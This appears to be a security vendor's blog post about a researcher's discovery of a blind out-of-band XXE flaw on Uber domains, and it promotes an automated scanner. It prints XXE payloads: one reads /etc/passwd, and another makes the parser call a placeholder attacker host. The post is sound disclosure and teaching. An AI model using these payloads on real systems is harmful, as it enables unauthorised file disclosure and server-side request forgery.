Hunting for XXE in Uber using Acunetix AcuMonitor

XML External Entity (XXE) vulnerabilities are attacks which involve an attacker abusing an application which parses XML. The attack occurs against an XML parser which has XML entities enabled.

If you are not familiar with XML entities, you can think of them as a rarely used, typically automatically enabled feature in many XML parsers which allows text definition and substitution within an XML document. Text substitution may sound harmless… but what if that text is the contents of a file obtained from the filesystem, or an internal network resource? — Enter XML External Entities.

XXE can lead to all sorts of consequences, ranging from sensitive information disclosure, denial of service (see the Billion laughs attack), Server-side Request Forgery (SSRF) and port-scanning of internal networks, as well as other system impacts, especially when chained together with other vulnerabilities.

In this post, we’re going to be taking at a real-world example of how Acunetix AcuMonitor was used to automatically confirm the discovery of a Blind Out-of-band XXE vulnerability in an Uber property by security researcher and bug-bounty hunter Raghav Bisht.

The analysis of this XXE bug starts on the ubermovement.com domain, where the researcher attempted to test for “old school” injections on a search box.

The researcher started by attaching PortSwigger’s Burp Suite proxy to his browser and started observing search query HTTP requests made to the application. The requests in the proxy looked as follows.

Cross-site Scripting (XSS), SQL injection (SQLi), XPath injection, Command injection and even XXE tests were tested manually, but nothing seemed to indicate that the search form was vulnerable to any of the injections the researcher tried against it, which led him to look for directory-based vulnerabilities such as directory listing or directory traversal, but to no avail.

Since all other injections failed, the researcher decided to focus on XXE. The first thing he did was change the request method to a POST request (by default the form was making a GET request).

The response to the POST request was the same as the one returned by the GET request, so the researcher added the Content-type: application/xml HTTP header and the following XML in the POST request body.

<?xml version="1.0" encoding="utf-8"?>
<GeneralSearch>cat</GeneralSearch>

Jackpot! An error is returned. Since the researcher was pretty confident this could be an XXE vulnerability, he chose to test the application by throwing different XXE payloads at the application, such as the one below.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtgmlf6 [ <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<GeneralSearch>&xxe;</GeneralSearch>

Still, no dice. The example above is an in-band XXE attack. The idea is that the XML parser will replace the &xxe; entity with the contents of the /etc/passwd file from the file system and return it in the response. This was not the case with this application.

However, XXE can sometimes be exploited via an Out-of Band (OOB) means. This attack is more complex and involves an attacker in tricking the XML parser in making a request to an attacker-controlled server with the contents of the external entity (/etc/passwd in this case).

In order to prove the existence of an XXE vulnerability, the researcher only needed to trick the XML parser to send an HTTP request to a web server he controlled (not necessarily exfiltrate any files). He needed to take the following steps for this to work.

1. Set-up a webserver (Apache HTTP Server was used)
2. Make sure that server is reachable on the public Internet (a port-forwarding rule was used)
3. Modify the XXE payload to the following

   <?xml version="1.0" encoding="utf-8"?>
   <!DOCTYPE dtgmlf6 [ <!ENTITY dtgmlf6ent SYSTEM "http://x.x.x.x/">
   ]>
   <GeneralSearch>&dtgmlf6ent;</GeneralSearch>

4. Start the attack
   
5. Wait patiently for a request to show up in the web server logs
   

That’s a long-winded, highly technical process and a very easy to miss vulnerability. After finding the vulnerability manually, the researcher decided to confirm his results by running an automated web application vulnerability scan with Acunetix WVS using Acunetix AcuMonitor.

Acunetix WVS, together with Acunetix AcuMonitor automatically

1. Crawled the vulnerable RESTful API endpoint
2. Automatically figured out it needed to send a POST instead of a GET request
3. Submitted XML, even though the application returns its data in JSON by default
4. Tested for Blind Out-of-band XXE using AcuMonitor without the need for setting up a separate HTTP server, or manually sifting to logs to look for connections made by the XML parser

The researcher went on further to find over 26 different domains belonging to Uber that were affected by this vulnerability using ‘Google Hacking’, which is essentially, a search string using advanced search operators to find information not readily available on a website.

This post is in reference to Raghav Bisht ‘s original post Blind OOB XXE At UBER 26+ Domains Hacked.